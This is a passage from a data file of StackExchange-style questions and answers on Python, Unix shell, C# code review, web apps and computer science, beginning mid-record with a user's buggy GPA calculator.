0.0overallGPA = 0.0cred1i = string.atoi(cred1)cred2i = string.atoi(cred2)cred3i = string.atoi(cred3)cred4i = string.atoi(cred4)cred5i = string.atoi(cred5)cred6i = string.atoi(cred6)cred7i = string.atoi(cred7)if grade1 in {A+, a+, A, a}: c1points = (4.0*cred1i)elif grade1 in {A-, a-}: c1points = (3.67*cred1i)elif grade1 in {B+, b+}: c1points = (3.33*cred1i)elif grade1 in {B, b}: c1points = (3.0*cred1i)elif grade1 in {B-, b-}: c1points = (2.67*cred1i)elif grade1 in {C+, c+}: c1points = (2.33*cred1i)elif grade1 in {C, c}: c1points = (2.0*cred1i)elif grade1 in {C-, c-}: c1points = (1.67*cred1i)elif grade1 in {D+, d+}: c1points = (1.33*cred1i)elif grade1 in {D, d}: c1points = (1.0*cred1i)else: c1points = 0.0if grade2 in {A+, a+, A, a}: c2points = (4.0*cred2i)elif grade2 in {A-, a-}: c2points = (3.67*cred2i)elif grade2 in {B+, b+}: c2points = (3.33*cred2i)elif grade2 in {B, b}: c2points = (3.0*cred2i)elif grade2 in {B-, b-}: c2points = (2.67*cred2i)elif grade2 in {C+, c+}: c2points = (2.33*cred2i)elif grade2 in {C, c}: c2points = (2.0*cred2i)elif grade2 in {C-, c-}: c2points = (1.67*cred2i)elif grade2 in {D+, d+}: c2points = (1.33*cred2i)elif grade2 in {D, d}: c2points = (1.0*cred2i)else: c2points = 0.0if grade3 in {A+, a+, A, a}: c3points = (4.0*cred3i)elif grade3 in {A-, a-}: c3points = (3.67*cred3i)elif grade3 in {B+, b+}: c3points = (3.33*cred3i)elif grade3 in {B, b}: c3points = (3.0*cred3i)elif grade3 in {B-, b-}: c3points = (2.67*cred3i)elif grade3 in {C+, c+}: c3points = (2.33*cred3i)elif grade3 in {C, c}: c3points = (2.0*cred3i)elif grade3 in {C-, c-}: c3points = (1.67*cred3i)elif grade3 in {D+, d+}: c3points = (1.33*cred3i)elif grade3 in {D, d}: c3points = (1.0*cred3i)else: c3points = 0.0if grade4 in {A+, a+, A, a}: c4points = (4.0*cred4i)elif grade4 in {A-, a-}: c4points = (3.67*cred4i)elif grade4 in {B+, b+}: c4points = (3.33*cred4i)elif grade4 in {B, b}: c4points = (3.0*cred4i)elif grade4 in {B-, b-}: c1points = (2.67*cred4i)elif grade4 in {C+, c+}: c4points = (2.33*cred4i)elif grade4 in {C, c}: c4points = (2.0*cred4i)elif grade4 in {C-, c-}: c1points = (1.67*cred4i)elif grade4 in {D+, d+}: c4points = (1.33*cred4i)elif grade4 in {D, d}: c4points = (1.0*cred4i)else: c4points = 0.0if grade5 in {A+, a+, A, a}: c5points = (4.0*cred5i)elif grade5 in {A-, a-}: c5points = (3.67*cred5i)elif grade5 in {B+, b+}: c5points = (3.33*cred5i)elif grade5 in {B, b}: c5points = (3.0*cred5i)elif grade5 in {B-, b-}: c5points = (2.67*cred5i)elif grade5 in {C+, c+}: c5points = (2.33*cred5i)elif grade5 in {C, c}: c5points = (2.0*cred5i)elif grade5 in {C-, c-}: c5points = (1.67*cred5i)elif grade5 in {D+, d+}: c5points = (1.33*cred5i)elif grade5 in {D, d}: c5points = (1.0*cred5i)else: c5points = 0.0if grade6 in {A+, a+, A, a}: c6points = (4.0*cred6i)elif grade6 in {A-, a-}: c6points = (3.67*cred6i)elif grade6 in {B+, b+}: c6points = (3.33*cred6i)elif grade6 in {B, b}: c6points = (3.0*cred6i)elif grade6 in {B-, b-}: c6points = (2.67*cred6i)elif grade6 in {C+, c+}: c6points = (2.33*cred6i)elif grade6 in {C, c}: c6points = (2.0*cred6i)elif grade6 in {C-, c-}: c6points = (1.67*cred6i)elif grade6 in {D+, d+}: c6points = (1.33*cred6i)elif grade6 in {D, d}: c6points = (1.0*cred6i)else: c6points = 0.0if grade7 in {A+, a+, A, a}: c7points = (4.0*cred7i)elif grade7 in {A-, a-}: c7points = (3.67*cred7i)elif grade7 in {B+, b+}: c7points = (3.33*cred7i)elif grade7 in {B, b}: c7points = (3.0*cred7i)elif grade7 in {B-, b-}: c7points = (2.67*cred7i)elif grade1 in {C+, c+}: c7points = (2.33*cred7i)elif grade7 in {C, c}: c7points = (2.0*cred7i)elif grade7 in {C-, c-}: c7points = (1.67*cred7i)elif grade7 in {D+, d+}: c7points = (1.33*cred7i)elif grade7 in {D, d}: c7points = (1.0*cred7i)else: c7points = 0.0totalCredits = cred1i+cred2i+cred3i+cred4i+cred5i+cred6i+cred7ioverallGPA = (c1points + c2points + c3points + c4points + c5points + c7points + c7points)/totalCreditscname1 = cname1.ljust(15)cred1 = cred1.center(9)grade1 = grade1.center(6)cname2 = cname2.ljust(15)cred2 = cred2.center(9)grade2 = grade2.center(6)cname3 = cname3.ljust(15)cred3 = cred3.center(9)grade3 = grade3.center(6)cname4 = cname4.ljust(15)cred4 = cred4.center(9)grade4 = grade4.center(6)cname5 = cname5.ljust(15)cred5 = cred5.center(9)grade5 = grade5.center(6)cname6 = cname6.ljust(15)cred6 = cred6.center(9)grade6 = grade6.center(6)cname7 = cname7.ljust(15)cred7 = cred1.center(9)grade7 = grade7.center(6)print COURSE CREDITS GRADE \\nprint ------ ------- ----- \\nprint '%s%s%s' % (cname1, cred1, grade1)print '%s%s%s' % (cname2, cred2, grade2)print '%s%s%s' % (cname3, cred3, grade3)print '%s%s%s' % (cname4, cred4, grade4)print '%s%s%s' % (cname5, cred5, grade5)print '%s%s%s' % (cname6, cred6, grade6)print '%s%s%s' % (cname7, cred7, grade7)print SEMESTER GPA = %.2f % (overallGPA)" , "title": "Getting a 4.0 GPA" , "tags": "python;python 2.7" } { "id": "_webapps.44567" , "question": "I currently have a free Google Apps for your Domain account, with only one email address in there. I will soon be moving from Google Mail to another hosted email solution (such as a hosted Exchange server).As a result of this, I want to remove the Google Apps part from my domain, but retain all of the other services I use, such as Analytics and Webmaster Tools. This would need to move to a Google Account, with the same name as my current Google Apps account.How can I do this?" , "title": "How to Migrate Google Apps account to regular Google Account" , "tags": "google apps;google analytics;google account" , "accepted_answer": "Unfortunately, I could not find a way to do this. It would seem such a feature has not been built by Google.I ended up moving my mail account, linking my Analytics profiles to a separate GMail address, and then destroying my Google Apps domain. Not a great solution, but thankfully it worked as it turns out I didn't use too many other Google services." } { "id": "_datascience.16485" , "question": "I'm trying to build recommender based on user history from e-commerce. There are two(potentially more) types of events: purchase and view.Is it okay to sum up number of purchases and views for a given item(with purchase and view having different weights)? Or I`ll just mix up user intent this way? " , "title": "Recommender System: how to treat different events" , "tags": "recommender system" , "accepted_answer": "I assume you're using an implicit feedback recommender approach like ALS. Otherwise, summing data points generally won't make sense, such as if you're feeding it to a recommender that expects ratings.The input to implicit ALS is, conceptually, weighted user-item pairs. Therefore it makes sense to perhaps use a sum of user-item clicks as the weight. Summing makes sense.However, does a purchase and view seem to carry the same weight? obviously not. A purchase is a much stronger association and should be weighted accordingly.As to how much, I'd suggest weighting purchases simply by price, to start. Then weight clicks by price times purchase-to-click ratio. A $10 item purchase is weight 10; if 1 in 200 clicks results in a purchase, then weight a click 0.2.This is crude but probably about as close as anything for capturing this info in the context of ALS." } { "id": "_unix.154229" , "question": "I have 2 computers, both with Gigabit controllers, connected with a regular Ethernet cable. I have a host machine, which is connected to the internet, and a client machine, which is only connected to the host machine. I would like to share the host's internet connection with the client machine. I have read online, and I found out the best way to do this is by opening Network Manager's GUI on my host machine, editing my Ethernet connection and setting the IPv4 settings to Shared to other computers. On my client machine, I have it set to automatically get an IP address using DHCP. My host machine does not detect the cable as being plugged in under these settings, and my client machine reports me it cannot connect to the network. How do I properly share my internet connection from the host machine to my client machine, preferably using Network Manager. " , "title": "How to share internet connection over Ethernet using Network Manager?" , "tags": "networkmanager;internet" } { "id": "_softwareengineering.342772" , "question": "List specific programming concepts that should code adhere to that it will run in parallel. For example, if a block of code does not change shared state, it should be able to be done on another thread. What other such attributes exist? I would imagine there only to be a small number of such concerns by which to evaluate whether code is a good candidate for parallelization, so what are they? For example SQL Server when creating the execution plans much use these test to decide for each query section whether to run it in serial or allow it to run on another CPU. All I'm looking for is the list of theoretical rules, nothing implementation-specific." , "title": "What specific attributes make code able to be executed in parallel?" , "tags": "parallel programming" } { "id": "_codereview.18862" , "question": "I have a lot of variables that I need to check for exceptions and output the empty field in case of a null returned value (I am reading a calender list from Sharepoint and my program is supposed to send email notifications if some of the conditions are met).I surrounded my variables with a try-catch with a generic output variable not found. Here is an example;try{var name = item[Name].ToString(); var dueDate= item[Due Date].ToString();..//more variables. var Title= item[Title].ToString(); }catch (Exception ex) { Console.WriteLine(); Console.WriteLine(ex.Message); //generic message for now Console.WriteLine(); }Is there is a way to handle this better? I know that going to each individual line and adding an exception is an option but it would save me a lot of time if I can just output something like the variable name." , "title": "Handling null exception when having multiple variables" , "tags": "c#;object oriented;exception" , "accepted_answer": "Refactor into a method:var name = this.GetVariable(Name); var dueDate= this.GetVariable(Due Date);..//more variables. var Title= this.GetVariable(Title); private string GetVariable(string name){ try { return item[name].ToString(); } catch (Exception ex) { Console.WriteLine(); Console.WriteLine(name + not found.); Console.WriteLine(); return null; }}" } { "id": "_cs.67429" , "question": "For example for the sw command in MIPs, the control signal values areALUOp1: 0ALUOp: 0 RegWrite: 0 MemRead: x MemWrite: 1 Branch: 0 ALUsrc: 1 RegDest: x MemToReg: xWhy do memRead, RegDest and MemToReg have the values of x? Why not just 0? " , "title": "For data-path cycles in MIPS, what determines wheter a control signal gets the don't-care value?" , "tags": "cpu pipelines" } { "id": "_unix.331059" , "question": "I have one bash script for installing wordpress and want to add also mysql installer to easly can install database#!/bin/bashdr=$1db=$2zDir=latest.zipwpInstall=https://wordpress.org/$zDireval mkdir -p $dr && cd $dr && wget $wpInstall && unzip $zDir && cp -r $dr/wordpress/* $dr && sudo chmod -R 0777 $dr && sudo chmod -R 0777 $dr/* && rm -rf $dr/wordpress && rm -f -r $zDir && echo WordPress installatio$echo CREATE DATABASE IF NOT EXISTS `$db` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci | mysql -u root -phere I have one realy wierd problem:When I run script like this:$ ./install-wp.sh /var/www/test project_somethinginstaller install wordpress, place all files on the rigt place but when start part with mysql I get 2 errors.First is:> ./install-wp.sh: line 13: project_something: command not foundand second after mysql passowrd is entered:ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci' at line 1How to fix this?" , "title": "How to create new MySQL database with encoding via BASH script" , "tags": "shell script;mysql" } { "id": "_unix.204501" , "question": "An excerpt from the man man page:The default action is to search in all of the available sections following a pre-defined order (1 n l 8 3 2 3posix 3pm 3perl 5 4 9 6 7 by default)What are the n, l and 3pm sections of the manual for?" , "title": "What are the 'n', 'l', '3pm' sections of the manual for?" , "tags": "perl;man;posix;standard" , "accepted_answer": "The 3pm section is not used anymore. It is defined as manual pages concerning modul packages of perl in an old version of the Debian Perl Policy, noteably in version 1.2. Here is a site where you can read that old deprecated policy (see 3.1 and 1.4). In the latest Debian Perl Policy it is defined in 2.4 that module manual pages should be installed in section 3perl now.In the standards manual page you see that POSIX.1-2001, SUSv3 standard has defined manual page sections called 1p and 3p. That is also mentioned at Wikipedia, that p is a subsection that describes POSIX specifications. 3p is also an abbreviation of 3posix, which means the same.The sections n and l seem to appear only in IBMs AIX. n specifies new and l specifies local.Local (l) manual pages describe usage policies, administrative contacts, special local software, and other information unique to this particular installation. New (n) manual pages are for newly installed software. They stay for an amount of time in n before they get moved to their permanent section. In Linux those two section and also the o section (old) are deprecated.Note, that n in Mac OSX can also be the section for Tcl/Tk functions." } { "id": "_softwareengineering.194859" , "question": "What's the most secure method of performing authentication in a single paged apps? I'm not talking about any specific client-side or server-side frameworks, but just general guidelines or best practices. All the communications are transfered primarily through sockJS.Also, OAuth is out of the question." , "title": "Security in Authentication in single page apps" , "tags": "javascript;security;authentication" , "accepted_answer": "I think here are two starting points.Web services/REST services on the same server as your single web app.It's not uncommon to do so nor it is necessarily bad, and also clearly the easiest way. Whatever authentication you choose (basic, digest, form, etc.) the API and the app are going to share the same user sessions on the server. Which means several things:The API can easily detect whether the user is logged or not, and obtain its permissions, roles or whatever you need to know if the user is allowed to perform a given action.You can deploy both the API and the app at the same time.Scaling the app is simple, just deploy both the API and the app to another instance. Load balancing is also easier.Monitoring the app is simple.On the negative side, if you want another app to use this API you'll have to either store this new app on the same server, or negotiate the user login yourself (for example, transmitting the credentials to the server). It may be even more complicated if your new app is NOT a web app.Another point: even if it's a single web app, you will most likely load images or other resources. If the API usage is high it may impact the loading time of your app (which is generally a big HTML file) and other client resources. One of the way to prevent this is to use CDN for your JavaScript files, CSS stylesheets and pictures.I think this approach is perfectly suited for quickly launching simple websites and/or for API that will not need to be accessed by other services. And even if you start with that approach (we know everything is possible when it comes to programming, right?) you can still at one point switch to the split API/app model.Web services/REST services on one server and the app on another.The best practice today for authenticating users to a SPA linked to an external API, or an API stored on a different instance of the server is to imitate OAuth in its principles. The key is to use ... keys, or tokens obtained from your main server. The basic flow should be:Authenticate on the main server (where the app is hosted)If the authentication is successful, create a token and send it in the HTTP response, for example in a cookie.Whenever you need to access your API, send the token. It may be sent in a custom HTTP request header for example.The API receives the request and checks :If the requested resource needs a token, otherwise it's ok (example: returning information available to guests, unauthenticated users)If the token is there, check if it's still acceptable. Deciding how and when the token expires is up to you, there are various ways to design the token expiration strategy.Return the response data (optionally, with an updated token)This approach allows you to:Dissociate the API from the apps that are going to use it AND from the user system in itself. Granted, you have to somehow interpret the token, but you don't need to know how and where the user data is stored. If you want a new web app or client/server app to access this API, all you need is a proper token. Deploy separately. For example, updating or fixing your API will not cause the single app server to go down.Monitor usage of your API only.To conclude, apply the KISS and YAGNI principles before deciding. And remember you can always go from one model to another." } { "id": "_unix.81614" , "question": "What I'm trying to do backup?users home dir which include Desktop,Documents,Pictures, thunderbird which i need to backup of every userall users are in /home partition with there respective user namethere are certain user AND files in /home which need to be excludeWhat I've tried so far?$ tar cvf home01 -T include /home NOTE: T which says only take that which are mention in file but does not work$ find . \\( -name \\*Desktop -o -name \\*Documents\\* -o -name \\*Pictures\\* -o -name \\.thunderbird\\* \\) | xargs tar zcvf /opt/rnd/home-$(date +%d%m%y).tar.zip NOTE: which takes backup of mention dir but it puts every users dir into one folder.For example$ ls -l /home/home/user1/{Desktop,Documents,Pictures,.thunderbird}/home/user2/{Desktop,Documents,Pictures,.thunderbird}/home/user3/{Desktop,Documents,Pictures,.thunderbird}/home/user4/{Desktop,Documents,Pictures,.thunderbird}/home/user5/{Desktop,Documents,Pictures,.thunderbird}From which I need to take only user1,user2,user3 home dir backup and exclude user4,user5" , "title": "backup script to exclude some parent dir and include some child dir" , "tags": "backup" } { "id": "_unix.163237" , "question": "I have the following lines in a text file:1 Q0 /home/nikol123/Downloads/Ergasia_1/Ergasia_1/metadata/13/120411.xml 1 1 Q0 /home/nikol123/Downloads/Ergasia_1/Ergasia_1/metadata/11/105016.xml 2 1 Q0 /home/nikol123/Downloads/Ergasia_1/Ergasia_1/metadata/15/149972.xml 3 1 Q0 /home/nikol123/Downloads/Ergasia_1/Ergasia_1/metadata/12/110688.xml 4 and I want to keep only these data:1 Q0 120411 1 1 Q0 105016 2 1 Q0 149972 3 1 Q0 110688 4 namely to keep from each line from the path /home/nikol123/Downloads/Ergasia_1/Ergasia_1/metadata/13/120411.xml for example only the number 120411 and so on..." , "title": "How to delete specific characters in a text file" , "tags": "shell script;text processing" } { "id": "_cs.79638" , "question": "It's fair to summarize classes in OOP as product types with functions. However, couldn't there be something like sum types with functions? How would inheritance work with them?I'm trying to scout if anybody has considered this question before in language design." , "title": "What would sum types with functions look like in OOP?" , "tags": "programming languages;type theory;object oriented" } { "id": "_unix.88838" , "question": "How can we preserve or maintain the same history across multiple terminals?The same question, but for bash shell , were discussed in the below linkPreserve bash history in multiple terminal windowslet me know the corresponding settings for tcsh shell ?" , "title": "Preserve tcsh history in multiple terminal windows" , "tags": "command history;tcsh" } { "id": "_softwareengineering.38368" , "question": "the goal is to have an online documentation system, with these major requirements:will be mainly used as an intermediate stage for the final technical docs of all our application (which will probably never get completed though :]). It would be typically used as so: someone has a problem, I fix it, and write down the fix immedeately. What happens now is getting unmanagable: someone has a problem, I fix it, both me and someone are happy but 2 months later somebody else has the same problem and nobody remembers what the fix was.accessible from everywhere, running behind our apache serveruser/group managment, allowing read-only/read-write/admin accessthe format is not too important: plain text would do, wiki-style would be nicer thoughcheap or freesome ideas of mine:just serve files on a file share or through ssh (cons: not too copmatible with windows, pros: simple, can be any file type)keep it in an SCM (svn/git, idem as above but easier to access and control access)Confluence: we use Jira already, is Confluence worth it? How does it integrate with Jira?something else?Please don't hesitate commenting on these or share your experience with other systems." , "title": "what kind of online technical documentation system would you recommend?" , "tags": "documentation" , "accepted_answer": "I was going to suggest a Wiki As Confluence is a wiki I think using it with your JIRA is an excellent idea. You'll have the advantage of being able to directly tie back into JIRA issues, and therefore the actual code/doc/whatever change made etc.The key to any code doc repo like this is the navigation aspect. You don't want pages that are disconnected, hard to find etc. Do put in thought to a 'site layout' much like you would for a web site." } { "id": "_softwareengineering.216915" , "question": "I know that in agile requirement changes should not only be planned for but also embraced. But I still don't know agile how to handle these changes. " , "title": "How to deal with requirement changes in agile development model?" , "tags": "agile" } { "id": "_webapps.88917" , "question": "How can I add second page in Google Plus? I have personal Google+ account and my company page, but I want to create next page about my hobby. How can I do this?" , "title": "Two pages on Google+" , "tags": "google plus;google plus pages" } { "id": "_softwareengineering.60684" , "question": "You are conversant with the ZF?How would you go about getting familiar with it in one week?What would be your suggested schedule?" , "title": "Familiarizing with the Zend Framework in one week" , "tags": "learning;php;zend framework" , "accepted_answer": "If you have a few years of experience with PHP and are familiar with MVC frameworks, then you shouldn't have a problem to be familiar with ZF in one week. You're not going to be a guru, but you'll be able to get things done. My plan (and what I actually did few years ago), would be to start with ZF QuickStart, build the base of your application. Don't just read, code & try. Then follow the rest of Learning ZF, skipping parts that you're not going to use (eg. if you're not going to be using Lucene, just skip that). Then as code your app, whenever you need more information on some of the components, just go to the ZF Reference Manual. You probably will only need to use small fraction of what's covered there. " } { "id": "_cs.62824" , "question": "How do you know that a decision problem $X$ is NP-complete?, if all other NP-problems polynomially transform to $X$ or if all other NP-problems polynomially reduces (there exist a polynomial time oracle for any problem in NP using an oracle for $X$).Definitions seem to differ all over the web.Thanks!" , "title": "Is NP-complete complexity defined in terms of polynomial reductions or polynomial transformations?" , "tags": "complexity theory;np complete;reductions;np;oracle machines" } { "id": "_codereview.139954" , "question": "This is a follow up to my previous question: Serializing objects to delimited filesI've added some feature enhancements, and based on suggestions from rolfl in chat, I've fixed up a couple inconsistencies with the serializer.First, if you don't mark any properties with DelimitedColumnAttribute, I added a DelimitedIgnoreAttribute which will blacklist columns instead. For objects with no properties marked with either, all properties are serialized instead, with the following exception:No collection properties (except System.String) are serialized, period.You can also replace invalid values in names/fields (values that have the RowDelimiter or ColumnDelimiter in them) with whatever you specify.You can choose whether or not to include the header row.You can choose to quote values/names. If you choose to, all values/names are quoted.You can choose how double-quotes are escaped (necessary for quoted values/names).DelimitedSerializer.cs:/// /// Represents a serializer that will serialize arbitrary objects to files with specific row and column separators./// public class DelimitedSerializer{ /// /// The string to be used to separate columns. /// public string ColumnDelimiter { get; set; } /// /// The string to be used to separate rows. /// public string RowDelimiter { get; set; } /// /// If not null, then sequences in values and names which are identical to the will be replaced with this value. /// public string InvalidColumnReplace { get; set; } /// /// If not null, then sequences in values and names which are identical to the will be replaced with this value. /// public string InvalidRowReplace { get; set; } /// /// If true, a trailing will be included on each line. (Some legacy systems require this.) /// public bool IncludeTrailingDelimiter { get; set; } /// /// If true, an empty row will be included at the end of the response. (Some legacy systems require this.) /// public bool IncludeEmptyRow { get; set; } /// /// If true, then all values and columns will be quoted in double-quotes. /// public bool QuoteValues { get; set; } /// /// If not null, then double quotes appearing inside a value will be escaped with this value. /// public string DoubleQuoteEscape { get; set; } /// /// If true, then a header row will be output. /// public bool IncludeHeader { get; set; } /// /// Serializes an object to a delimited file. Throws an exception if any of the property names, column names, or values contain either the or the . /// /// The type of the object to serialize. /// A list of the items to serialize. /// The serialized string. public string Serialize(List items) { if (string.IsNullOrEmpty(ColumnDelimiter)) { throw new ArgumentException($The property '{nameof(ColumnDelimiter)}' cannot be null or an empty string.); } if (string.IsNullOrEmpty(RowDelimiter)) { throw new ArgumentException($The property '{nameof(RowDelimiter)}' cannot be null or an empty string.); } var result = new ExtendedStringBuilder(); var properties = typeof(T).GetProperties() .Select(p => new { Attribute = p.GetCustomAttribute(), Info = p }) .Where(x => x.Attribute != null) .OrderBy(x => x.Attribute.Order) .ThenBy(x => x.Attribute.Name) .ThenBy(x => x.Info.Name) .ToList(); if (properties.Count == 0) { properties = typeof(T).GetProperties() .Where(x => x.GetCustomAttribute() == null) .Select(p => new { Attribute = new DelimitedColumnAttribute { Name = p.Name }, Info = p }) .Where(x => x.Attribute != null) .OrderBy(x => x.Attribute.Order) .ThenBy(x => x.Attribute.Name) .ThenBy(x => x.Info.Name) .ToList(); } Action validateCharacters = (string name, string checkFor, string humanLocation) => { if (name.Contains(checkFor)) { throw new ArgumentException($The {humanLocation} string '{name}' contains an invalid character: '{checkFor}'.); } }; var columnLine = new ExtendedStringBuilder(); foreach (var property in properties) { if (property.Info.PropertyType.IsArray || (property.Info.PropertyType != typeof(string) && property.Info.PropertyType.GetInterface(typeof(IEnumerable<>).FullName) != null)) { continue; } var name = property.Attribute?.Name ?? property.Info.Name; if (InvalidColumnReplace != null) { name = name.Replace(ColumnDelimiter, InvalidColumnReplace); } if (InvalidRowReplace != null) { name = name.Replace(RowDelimiter, InvalidRowReplace); } if (DoubleQuoteEscape != null) { name = name.Replace(\\, DoubleQuoteEscape); } validateCharacters(name, ColumnDelimiter, column name); validateCharacters(name, RowDelimiter, column name); if (columnLine.HasBeenAppended) { columnLine += ColumnDelimiter; } if (QuoteValues) { columnLine += \\; } columnLine += name; if (QuoteValues) { columnLine += \\; } } if (IncludeTrailingDelimiter) { columnLine += ColumnDelimiter; } if (IncludeHeader) { result += columnLine; } foreach (var item in items) { var row = new ExtendedStringBuilder(); foreach (var property in properties) { if (property.Info.PropertyType.IsArray || (property.Info.PropertyType != typeof(string) && property.Info.PropertyType.GetInterface(typeof(IEnumerable<>).FullName) != null)) { continue; } var value = property.Info.GetValue(item)?.ToString(); if (property.Info.PropertyType == typeof(DateTime) || property.Info.PropertyType == typeof(DateTime?)) { value = ((DateTime?)property.Info.GetValue(item))?.ToString(u); } if (value != null) { if (InvalidColumnReplace != null) { value = value.Replace(ColumnDelimiter, InvalidColumnReplace); } if (InvalidRowReplace != null) { value = value.Replace(RowDelimiter, InvalidRowReplace); } if (DoubleQuoteEscape != null) { value = value.Replace(\\, DoubleQuoteEscape); } validateCharacters(value, ColumnDelimiter, property value); validateCharacters(value, RowDelimiter, property value); } if (row.HasBeenAppended) { row += ColumnDelimiter; } if (QuoteValues) { row += \\; } row += value; if (QuoteValues) { row += \\; } } if (IncludeTrailingDelimiter) { row += ColumnDelimiter; } if (result.HasBeenAppended) { result += RowDelimiter; } result += row; } return result; } /// /// Returns an instance of the setup for Tab-Separated Value files. /// public static DelimitedSerializer TsvSerializer => new DelimitedSerializer { ColumnDelimiter = \\t, RowDelimiter = \\r\\n, InvalidColumnReplace = \\\\t, IncludeHeader = true }; /// /// Returns an instance of the setup for Comma-Separated Value files. /// public static DelimitedSerializer CsvSerializer => new DelimitedSerializer { ColumnDelimiter = ,, RowDelimiter = \\r\\n, InvalidColumnReplace = \\\\u002C, IncludeHeader = true }; /// /// Returns an instance of the setup for Pipe-Separated Value files. /// public static DelimitedSerializer PsvSerializer => new DelimitedSerializer { ColumnDelimiter = |, RowDelimiter = \\r\\n, InvalidColumnReplace = \\\\u007C, IncludeHeader = true }; /// /// Returns an instance of the from the RFC 4180 specification. See: https://tools.ietf.org/html/rfc4180 /// public static DelimitedSerializer Rfc4180Serializer => new DelimitedSerializer { ColumnDelimiter = ,, RowDelimiter = \\r\\n, IncludeHeader = true, IncludeTrailingDelimiter = true, QuoteValues = true, DoubleQuoteEscape = \\\\ };}DelimitedColumnAttribute.cs:/// /// Represents a column which can be used in a ./// [AttributeUsage(AttributeTargets.Property)]public class DelimitedColumnAttribute : Attribute{ /// /// The name of the column. /// public string Name { get; set; } /// /// The order the column should appear in. /// public int Order { get; set; }}DelimitedIgnoreAttribute.cs:[AttributeUsage(AttributeTargets.Property)]public class DelimitedIgnoreAttribute : Attribute{}" , "title": "Serializing Objects to Delimited Files Part II" , "tags": "c#;.net;serialization;reflection" , "accepted_answer": "To me the Serialize method is too big. I'd split it in three parts.The first part would be the reflection stuff where you read and sort the properties - this could be a new class like ElementReflector or maybe an extension.The second part (maybe a method) would be the first foreach that I cannot figure out what it does.The third part (maybe a method too) would be the second foreach that does something but I'm not sure what.Putting them in methods would give them a meaning without you having to explain each time what they are good for.public string Serialize(List items){ ... prepare sort etc properties var result = new StringBuilder() .Append(CreateHeader(properties)) .Append(SerializeData(items, properties)); return result.ToString();}ifsif (property.Info.PropertyType.IsArray || (property.Info.PropertyType != typeof(string) && property.Info.PropertyType.GetInterface(typeof(IEnumerable<>).FullName) != null))You could use a variable for that to tell what this condition is for. Or even create an extension for it.The same applies for many other ifs where the intentions is not clear.Besides you use the same condition twice (in both loops) so an extenstion would definitely help.ColumnDelimiter & RowDelimiterIf these two properties cannot be null you should requrie them via the constructor instead of checking them in the Serilize method.Also if the user can change them later then you should check the values in the property setter instead of throwing exeptions later and causing astonishment why isn't this working.DelimitedColumnAttributeIt is possible to create an invalid attribute because there is no construtor that enforces the required values. I guess the name is required if the attribute is specified.propertiesproperties = typeof(T).GetProperties() .Where(x => x.GetCustomAttribute() == null) .Select(p => new { Attribute = new DelimitedColumnAttribute { Name = p.Name }, Info = p }) .Where(x => x.Attribute != null) .OrderBy(x => x.Attribute.Order) .ThenBy(x => x.Attribute.Name) .ThenBy(x => x.Info.Name) .ToList();You are always adding the attribute so this .Where(x => x.Attribute != null) isn't necessary.As the Attribute.Name is equal p.Name either the .ThenBy(x => x.Attribute.Name) or .ThenBy(x => x.Info.Name) can be removed." } { "id": "_softwareengineering.71825" , "question": "The canonical idea is pervasive in software; patterns like Canonical Model, Canonical Schema, Canonical Data Model and so on, seem to come up again and again in development.Like many developers, I've often followed, uncritically, the conventional wisdom that you need a canonical model, otherwise you'll face a combinatorial explosion of mappers and translators. Or at least, I used to do that until a couple of years ago when I first read the somewhat-infamous EF Vote of No Confidence:The hypotheses that once supported the pursuit of canonical data models didnt and couldnt include factors that would be discovered once the idea was put into practice. We have found, through years of trial and error, that using separate models for each individual context in which a canonical data model might be used is the least complex approach, is the least costly approach, and the one that leads to greater maintainability and extensibility of the applications and endpoints using contextual models, and its an approach that doesnt encourage the software entropy that canonical models do.The essay presents no evidence of any kind to support its claims, but did make me question the CDM approach long enough to try the alternative, and the resulting software didn't explode, literally or figuratively. But that doesn't mean a whole lot in isolation; I could have just been lucky.So I'm wondering, has any serious research been done into the practical, long-term effects of having a canonical model vs. contextual models in a software system or architecture?Or, if it's too early to be asking that, then have any developers/architects written about personal experiences switching from a CDM to independent contextual models, or vice versa, and what the practical effects were on things like productivity, complexity, or reliability?What about the differences at different levels, i.e. using the same model across a single application vs. using it across a system of applications or an entire enterprise?(Facts only, please; war stories are welcome but no speculation.)" , "title": "Does current evidence support the adoption of Contextual over Canonical Data Models?" , "tags": "design patterns;architecture;data;domain model" } { "id": "_unix.97940" , "question": "I'm working in Unix.I'd like to fetch information from a log in a specified time range for the current date. For example I want the data from a log file of today's date from 00:00 to 09:00. Sample log entry:13/10/16 14:45:02 <> FAILED FILE FORMAT VALIDATION - ERROR:-213:rawData cannot contain tokensHow do I get the output from such a log file?" , "title": "How do I filter a log to only the lines between two times?" , "tags": "bash" , "accepted_answer": "Assuming the dates look like HH:MM as you've show, and assuming the date appears in the 2nd field, you can use awk:awk -v start=00:00 -v stop=09:00 'start <= $2 && $2 < stop' file.log[rant] I'm quite particular about date formatting, and this one is terrible: what date is 09/10/11? [/rant]Anyway, assuming this it YY/MM/DDawk -v date=$(date +%y/%m/%d) \\ -v start=00:00:00 \\ -v stop=09:00:00 \\ -v search=File format not found \\'$1 == date && start <= $2 && $2 < stop && $0 ~ search' file.log" } { "id": "_unix.195728" , "question": "So the idea is to create an alias that will search my alias's for me. I have quite a few. dude@gnarleybox:~$ grep alg .bash_aliases.shalias alg='alias | grep 'dude@gnarleybox:~$ alias | grep algalias alg='alias | grep 'dude@gnarleybox:~$ alg gdgrep: invalid max countdude@gnarleybox:~$ Huh? Like grep is getting two many parameters? How is that possible? Note that I've also tried it without the space on the end:alias alg='alias | grep' You should just be able to type: alg gd ...and get the alias I use to fuse mount GoogleDocs. " , "title": "Why am I getting invalid max count from grep in an alias?" , "tags": "bash;grep;alias" , "accepted_answer": "Remove the blank at the end of the alias definition (as suggested by rici) and your issue should be fixed.But; in such cases as yours, where you have not only synonyms or abbreviations in your alias but also functional code with pipes, it's better to define a function instead of an alias." } { "id": "_cs.14954" , "question": "After skimming Multiplication by a Constant is Sublinear (PDF), (slides (PDF), slides with notes (PDF)) I was wondering if this could be extended to division by a constant in sublinear time?Additionally, what about division with a constant numerator, ie. division of a constant?" , "title": "Division by a constant" , "tags": "algorithms;reference request;integers" , "accepted_answer": "Division by a constant can always be recast as multiplication by a constant followed by a shift. The relevant papers are:Robert Alverson, Integer Division Using Reciprocals, IEEE Int'l Symp Comp Arithmetic, (ISCA-10):186-190, 1991.Torbjrn Granlund and Peter L. Montgomery, Division by Invariant Integers using Multiplication, ACM Conf on Prog Lang Dsgn and Impl, 